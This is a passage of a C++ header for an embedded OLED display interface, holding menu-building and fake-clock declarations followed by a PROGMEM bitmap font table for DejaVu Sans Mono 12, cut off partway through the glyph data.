void goBack();
|
||||
void createMenu(Menu* menu, Menu* parent, std::function<void()>build);
|
||||
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click, std::function<void()>hold);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);
|
||||
void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, const char* ptr, Menu* next);
|
||||
|
||||
// fake clock
|
||||
void drawClock();
|
||||
void setTime(int h, int m, int s);
|
||||
|
||||
int clockHour = 6;
|
||||
int clockMinute = 0;
|
||||
int clockSecond = 0;
|
||||
|
||||
uint32_t clockTime = 0;
|
||||
|
||||
#ifdef RTC_DS3231
|
||||
DS3231 clock;
|
||||
#endif // ifdef RTC_DS3231
|
||||
};
|
||||
|
||||
// ===== FONT ===== //
|
||||
// Created by http://oleddisplay.squix.ch/ Consider a donation
|
||||
// In case of problems make sure that you are using the font file with the correct version!
|
||||
const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {
|
||||
0x07, // Width: 7
|
||||
0x0F, // Height: 15
|
||||
0x20, // First Char: 32
|
||||
0xE0, // Numbers of Chars: 224
|
||||
|
||||
// Jump Table:
|
||||
0xFF, 0xFF, 0x00, 0x07, // 32:65535
|
||||
0x00, 0x00, 0x08, 0x07, // 33:0
|
||||
0x00, 0x08, 0x09, 0x07, // 34:8
|
||||
0x00, 0x11, 0x0D, 0x07, // 35:17
|
||||
0x00, 0x1E, 0x0C, 0x07, // 36:30
|
||||
0x00, 0x2A, 0x0E, 0x07, // 37:42
|
||||
0x00, 0x38, 0x0E, 0x07, // 38:56
|
||||
0x00, 0x46, 0x07, 0x07, // 39:70
|
||||
0x00, 0x4D, 0x0C, 0x07, // 40:77
|
||||
0x00, 0x59, 0x0A, 0x07, // 41:89
|
||||
0x00, 0x63, 0x0B, 0x07, // 42:99
|
||||
0x00, 0x6E, 0x0E, 0x07, // 43:110
|
||||
0x00, 0x7C, 0x08, 0x07, // 44:124
|
||||
0x00, 0x84, 0x0A, 0x07, // 45:132
|
||||
0x00, 0x8E, 0x08, 0x07, // 46:142
|
||||
0x00, 0x96, 0x0D, 0x07, // 47:150
|
||||
0x00, 0xA3, 0x0E, 0x07, // 48:163
|
||||
0x00, 0xB1, 0x0C, 0x07, // 49:177
|
||||
0x00, 0xBD, 0x0E, 0x07, // 50:189
|
||||
0x00, 0xCB, 0x0E, 0x07, // 51:203
|
||||
0x00, 0xD9, 0x0E, 0x07, // 52:217
|
||||
0x00, 0xE7, 0x0E, 0x07, // 53:231
|
||||
0x00, 0xF5, 0x0E, 0x07, // 54:245
|
||||
0x01, 0x03, 0x0D, 0x07, // 55:259
|
||||
0x01, 0x10, 0x0E, 0x07, // 56:272
|
||||
0x01, 0x1E, 0x0E, 0x07, // 57:286
|
||||
0x01, 0x2C, 0x08, 0x07, // 58:300
|
||||
0x01, 0x34, 0x08, 0x07, // 59:308
|
||||
0x01, 0x3C, 0x0E, 0x07, // 60:316
|
||||
0x01, 0x4A, 0x0E, 0x07, // 61:330
|
||||
0x01, 0x58, 0x0E, 0x07, // 62:344
|
||||
0x01, 0x66, 0x0D, 0x07, // 63:358
|
||||
0x01, 0x73, 0x0E, 0x07, // 64:371
|
||||
0x01, 0x81, 0x0E, 0x07, // 65:385
|
||||
0x01, 0x8F, 0x0E, 0x07, // 66:399
|
||||
0x01, 0x9D, 0x0E, 0x07, // 67:413
|
||||
0x01, 0xAB, 0x0E, 0x07, // 68:427
|
||||
0x01, 0xB9, 0x0E, 0x07, // 69:441
|
||||
0x01, 0xC7, 0x0D, 0x07, // 70:455
|
||||
0x01, 0xD4, 0x0E, 0x07, // 71:468
|
||||
0x01, 0xE2, 0x0E, 0x07, // 72:482
|
||||
0x01, 0xF0, 0x0C, 0x07, // 73:496
|
||||
0x01, 0xFC, 0x0C, 0x07, // 74:508
|
||||
0x02, 0x08, 0x0E, 0x07, // 75:520
|
||||
0x02, 0x16, 0x0E, 0x07, // 76:534
|
||||
0x02, 0x24, 0x0E, 0x07, // 77:548
|
||||
0x02, 0x32, 0x0E, 0x07, // 78:562
|
||||
0x02, 0x40, 0x0E, 0x07, // 79:576
|
||||
0x02, 0x4E, 0x0D, 0x07, // 80:590
|
||||
0x02, 0x5B, 0x0E, 0x07, // 81:603
|
||||
0x02, 0x69, 0x0E, 0x07, // 82:617
|
||||
0x02, 0x77, 0x0E, 0x07, // 83:631
|
||||
0x02, 0x85, 0x0D, 0x07, // 84:645
|
||||
0x02, 0x92, 0x0E, 0x07, // 85:658
|
||||
0x02, 0xA0, 0x0D, 0x07, // 86:672
|
||||
0x02, 0xAD, 0x0E, 0x07, // 87:685
|
||||
0x02, 0xBB, 0x0E, 0x07, // 88:699
|
||||
0x02, 0xC9, 0x0D, 0x07, // 89:713
|
||||
0x02, 0xD6, 0x0E, 0x07, // 90:726
|
||||
0x02, 0xE4, 0x0A, 0x07, // 91:740
|
||||
0x02, 0xEE, 0x0E, 0x07, // 92:750
|
||||
0x02, 0xFC, 0x08, 0x07, // 93:764
|
||||
0x03, 0x04, 0x0B, 0x07, // 94:772
|
||||
0x03, 0x0F, 0x0E, 0x07, // 95:783
|
||||
0x03, 0x1D, 0x09, 0x07, // 96:797
|
||||
0x03, 0x26, 0x0C, 0x07, // 97:806
|
||||
0x03, 0x32, 0x0C, 0x07, // 98:818
|
||||
0x03, 0x3E, 0x0C, 0x07, // 99:830
|
||||
0x03, 0x4A, 0x0C, 0x07, // 100:842
|
||||
0x03, 0x56, 0x0C, 0x07, // 101:854
|
||||
0x03, 0x62, 0x0B, 0x07, // 102:866
|
||||
0x03, 0x6D, 0x0C, 0x07, // 103:877
|
||||
0x03, 0x79, 0x0C, 0x07, // 104:889
|
||||
0x03, 0x85, 0x0C, 0x07, // 105:901
|
||||
0x03, 0x91, 0x0A, 0x07, // 106:913
|
||||
0x03, 0x9B, 0x0C, 0x07, // 107:923
|
||||
0x03, 0xA7, 0x0C, 0x07, // 108:935
|
||||
0x03, 0xB3, 0x0C, 0x07, // 109:947
|
||||
0x03, 0xBF, 0x0C, 0x07, // 110:959
|
||||
0x03, 0xCB, 0x0C, 0x07, // 111:971
|
||||
0x03, 0xD7, 0x0C, 0x07, // 112:983
|
||||
0x03, 0xE3, 0x0C, 0x07, // 113:995
|
||||
0x03, 0xEF, 0x0D, 0x07, // 114:1007
|
||||
0x03, 0xFC, 0x0C, 0x07, // 115:1020
|
||||
0x04, 0x08, 0x0C, 0x07, // 116:1032
|
||||
0x04, 0x14, 0x0C, 0x07, // 117:1044
|
||||
0x04, 0x20, 0x0B, 0x07, // 118:1056
|
||||
0x04, 0x2B, 0x0D, 0x07, // 119:1067
|
||||
0x04, 0x38, 0x0C, 0x07, // 120:1080
|
||||
0x04, 0x44, 0x0B, 0x07, // 121:1092
|
||||
0x04, 0x4F, 0x0C, 0x07, // 122:1103
|
||||
0x04, 0x5B, 0x0C, 0x07, // 123:1115
|
||||
0x04, 0x67, 0x08, 0x07, // 124:1127
|
||||
0x04, 0x6F, 0x0B, 0x07, // 125:1135
|
||||
0x04, 0x7A, 0x0E, 0x07, // 126:1146
|
||||
0x04, 0x88, 0x0E, 0x07, // 127:1160
|
||||
0x04, 0x96, 0x0E, 0x07, // 128:1174
|
||||
0x04, 0xA4, 0x0E, 0x07, // 129:1188
|
||||
0x04, 0xB2, 0x0E, 0x07, // 130:1202
|
||||
0x04, 0xC0, 0x0E, 0x07, // 131:1216
|
||||
0x04, 0xCE, 0x0E, 0x07, // 132:1230
|
||||
0x04, 0xDC, 0x0E, 0x07, // 133:1244
|
||||
0x04, 0xEA, 0x0E, 0x07, // 134:1258
|
||||
0x04, 0xF8, 0x0E, 0x07, // 135:1272
|
||||
0x05, 0x06, 0x0E, 0x07, // 136:1286
|
||||
0x05, 0x14, 0x0E, 0x07, // 137:1300
|
||||
0x05, 0x22, 0x0E, 0x07, // 138:1314
|
||||
0x05, 0x30, 0x0E, 0x07, // 139:1328
|
||||
0x05, 0x3E, 0x0E, 0x07, // 140:1342
|
||||
0x05, 0x4C, 0x0E, 0x07, // 141:1356
|
||||
0x05, 0x5A, 0x0E, 0x07, // 142:1370
|
||||
0x05, 0x68, 0x0E, 0x07, // 143:1384
|
||||
0x05, 0x76, 0x0E, 0x07, // 144:1398
|
||||
0x05, 0x84, 0x0E, 0x07, // 145:1412
|
||||
0x05, 0x92, 0x0E, 0x07, // 146:1426
|
||||
0x05, 0xA0, 0x0E, 0x07, // 147:1440
|
||||
0x05, 0xAE, 0x0E, 0x07, // 148:1454
|
||||
0x05, 0xBC, 0x0E, 0x07, // 149:1468
|
||||
0x05, 0xCA, 0x0E, 0x07, // 150:1482
|
||||
0x05, 0xD8, 0x0E, 0x07, // 151:1496
|
||||
0x05, 0xE6, 0x0E, 0x07, // 152:1510
|
||||
0x05, 0xF4, 0x0E, 0x07, // 153:1524
|
||||
0x06, 0x02, 0x0E, 0x07, // 154:1538
|
||||
0x06, 0x10, 0x0E, 0x07, // 155:1552
|
||||
0x06, 0x1E, 0x0E, 0x07, // 156:1566
|
||||
0x06, 0x2C, 0x0E, 0x07, // 157:1580
|
||||
0x06, 0x3A, 0x0E, 0x07, // 158:1594
|
||||
0x06, 0x48, 0x0E, 0x07, // 159:1608
|
||||
0xFF, 0xFF, 0x00, 0x07, // 160:65535
|
||||
0x06, 0x56, 0x08, 0x07, // 161:1622
|
||||
0x06, 0x5E, 0x0C, 0x07, // 162:1630
|
||||
0x06, 0x6A, 0x0C, 0x07, // 163:1642
|
||||
0x06, 0x76, 0x0E, 0x07, // 164:1654
|
||||
0x06, 0x84, 0x0D, 0x07, // 165:1668
|
||||
0x06, 0x91, 0x08, 0x07, // 166:1681
|
||||
0x06, 0x99, 0x0C, 0x07, // 167:1689
|
||||
0x06, 0xA5, 0x09, 0x07, // 168:1701
|
||||
0x06, 0xAE, 0x0E, 0x07, // 169:1710
|
||||
0x06, 0xBC, 0x0A, 0x07, // 170:1724
|
||||
0x06, 0xC6, 0x0E, 0x07, // 171:1734
|
||||
0x06, 0xD4, 0x0E, 0x07, // 172:1748
|
||||
0x06, 0xE2, 0x0A, 0x07, // 173:1762
|
||||
0x06, 0xEC, 0x0E, 0x07, // 174:1772
|
||||
0x06, 0xFA, 0x0B, 0x07, // 175:1786
|
||||
0x07, 0x05, 0x0B, 0x07, // 176:1797
|
||||
0x07, 0x10, 0x0E, 0x07, // 177:1808
|
||||
0x07, 0x1E, 0x09, 0x07, // 178:1822
|
||||
0x07, 0x27, 0x0B, 0x07, // 179:1831
|
||||
0x07, 0x32, 0x09, 0x07, // 180:1842
|
||||
0x07, 0x3B, 0x0E, 0x07, // 181:1851
|
||||
0x07, 0x49, 0x0E, 0x07, // 182:1865
|
||||
0x07, 0x57, 0x08, 0x07, // 183:1879
|
||||
0x07, 0x5F, 0x0A, 0x07, // 184:1887
|
||||
0x07, 0x69, 0x09, 0x07, // 185:1897
|
||||
0x07, 0x72, 0x0A, 0x07, // 186:1906
|
||||
0x07, 0x7C, 0x0E, 0x07, // 187:1916
|
||||
0x07, 0x8A, 0x0E, 0x07, // 188:1930
|
||||
0x07, 0x98, 0x0C, 0x07, // 189:1944
|
||||
0x07, 0xA4, 0x0E, 0x07, // 190:1956
|
||||
0x07, 0xB2, 0x0A, 0x07, // 191:1970
|
||||
0x07, 0xBC, 0x0E, 0x07, // 192:1980
|
||||
0x07, 0xCA, 0x0E, 0x07, // 193:1994
|
||||
0x07, 0xD8, 0x0E, 0x07, // 194:2008
|
||||
0x07, 0xE6, 0x0E, 0x07, // 195:2022
|
||||
0x07, 0xF4, 0x0E, 0x07, // 196:2036
|
||||
0x08, 0x02, 0x0E, 0x07, // 197:2050
|
||||
0x08, 0x10, 0x0E, 0x07, // 198:2064
|
||||
0x08, 0x1E, 0x0E, 0x07, // 199:2078
|
||||
0x08, 0x2C, 0x0E, 0x07, // 200:2092
|
||||
0x08, 0x3A, 0x0E, 0x07, // 201:2106
|
||||
0x08, 0x48, 0x0E, 0x07, // 202:2120
|
||||
0x08, 0x56, 0x0E, 0x07, // 203:2134
|
||||
0x08, 0x64, 0x0C, 0x07, // 204:2148
|
||||
0x08, 0x70, 0x0C, 0x07, // 205:2160
|
||||
0x08, 0x7C, 0x0C, 0x07, // 206:2172
|
||||
0x08, 0x88, 0x0C, 0x07, // 207:2184
|
||||
0x08, 0x94, 0x0E, 0x07, // 208:2196
|
||||
0x08, 0xA2, 0x0E, 0x07, // 209:2210
|
||||
0x08, 0xB0, 0x0E, 0x07, // 210:2224
|
||||
0x08, 0xBE, 0x0E, 0x07, // 211:2238
|
||||
0x08, 0xCC, 0x0E, 0x07, // 212:2252
|
||||
0x08, 0xDA, 0x0E, 0x07, // 213:2266
|
||||
0x08, 0xE8, 0x0E, 0x07, // 214:2280
|
||||
0x08, 0xF6, 0x0C, 0x07, // 215:2294
|
||||
0x09, 0x02, 0x0E, 0x07, // 216:2306
|
||||
0x09, 0x10, 0x0E, 0x07, // 217:2320
|
||||
0x09, 0x1E, 0x0E, 0x07, // 218:2334
|
||||
0x09, 0x2C, 0x0E, 0x07, // 219:2348
|
||||
0x09, 0x3A, 0x0E, 0x07, // 220:2362
|
||||
0x09, 0x48, 0x0D, 0x07, // 221:2376
|
||||
0x09, 0x55, 0x0D, 0x07, // 222:2389
|
||||
0x09, 0x62, 0x0C, 0x07, // 223:2402
|
||||
0x09, 0x6E, 0x0C, 0x07, // 224:2414
|
||||
0x09, 0x7A, 0x0C, 0x07, // 225:2426
|
||||
0x09, 0x86, 0x0C, 0x07, // 226:2438
|
||||
0x09, 0x92, 0x0C, 0x07, // 227:2450
|
||||
0x09, 0x9E, 0x0C, 0x07, // 228:2462
|
||||
0x09, 0xAA, 0x0C, 0x07, // 229:2474
|
||||
0x09, 0xB6, 0x0C, 0x07, // 230:2486
|
||||
0x09, 0xC2, 0x0C, 0x07, // 231:2498
|
||||
0x09, 0xCE, 0x0C, 0x07, // 232:2510
|
||||
0x09, 0xDA, 0x0C, 0x07, // 233:2522
|
||||
0x09, 0xE6, 0x0C, 0x07, // 234:2534
|
||||
0x09, 0xF2, 0x0C, 0x07, // 235:2546
|
||||
0x09, 0xFE, 0x0C, 0x07, // 236:2558
|
||||
0x0A, 0x0A, 0x0C, 0x07, // 237:2570
|
||||
0x0A, 0x16, 0x0C, 0x07, // 238:2582
|
||||
0x0A, 0x22, 0x0C, 0x07, // 239:2594
|
||||
0x0A, 0x2E, 0x0C, 0x07, // 240:2606
|
||||
0x0A, 0x3A, 0x0C, 0x07, // 241:2618
|
||||
0x0A, 0x46, 0x0C, 0x07, // 242:2630
|
||||
0x0A, 0x52, 0x0C, 0x07, // 243:2642
|
||||
0x0A, 0x5E, 0x0C, 0x07, // 244:2654
|
||||
0x0A, 0x6A, 0x0C, 0x07, // 245:2666
|
||||
0x0A, 0x76, 0x0C, 0x07, // 246:2678
|
||||
0x0A, 0x82, 0x0C, 0x07, // 247:2690
|
||||
0x0A, 0x8E, 0x0C, 0x07, // 248:2702
|
||||
0x0A, 0x9A, 0x0C, 0x07, // 249:2714
|
||||
0x0A, 0xA6, 0x0C, 0x07, // 250:2726
|
||||
0x0A, 0xB2, 0x0C, 0x07, // 251:2738
|
||||
0x0A, 0xBE, 0x0C, 0x07, // 252:2750
|
||||
0x0A, 0xCA, 0x0B, 0x07, // 253:2762
|
||||
0x0A, 0xD5, 0x0C, 0x07, // 254:2773
|
||||
0x0A, 0xE1, 0x0B, 0x07, // 255:2785
|
||||
|
||||
// Font Data:
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33
|
||||
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34
|
||||
0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35
|
||||
0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36
|
||||
0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37
|
||||
0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40
|
||||
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41
|
||||
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46
|
||||
0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49
|
||||
0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50
|
||||
0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51
|
||||
0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52
|
||||
0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53
|
||||
0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54
|
||||
0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55
|
||||
0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56
|
||||
0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59
|
||||
0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60
|
||||
0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61
|
||||
0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62
|
||||
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63
|
||||
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73
|
||||
0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82
|
||||
0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83
|
||||
0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84
|
||||
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85
|
||||
0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86
|
||||
0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87
|
||||
0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88
|
||||
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89
|
||||
0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91
|
||||
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92
|
||||
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93
|
||||
0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94
|
||||
0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105
|
||||
0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107
|
||||
0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111
|
||||
0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113
|
||||
0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114
|
||||
0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117
|
||||
0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118
|
||||
0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119
|
||||
0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120
|
||||
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121
|
||||
0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124
|
||||
0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130
|
||||
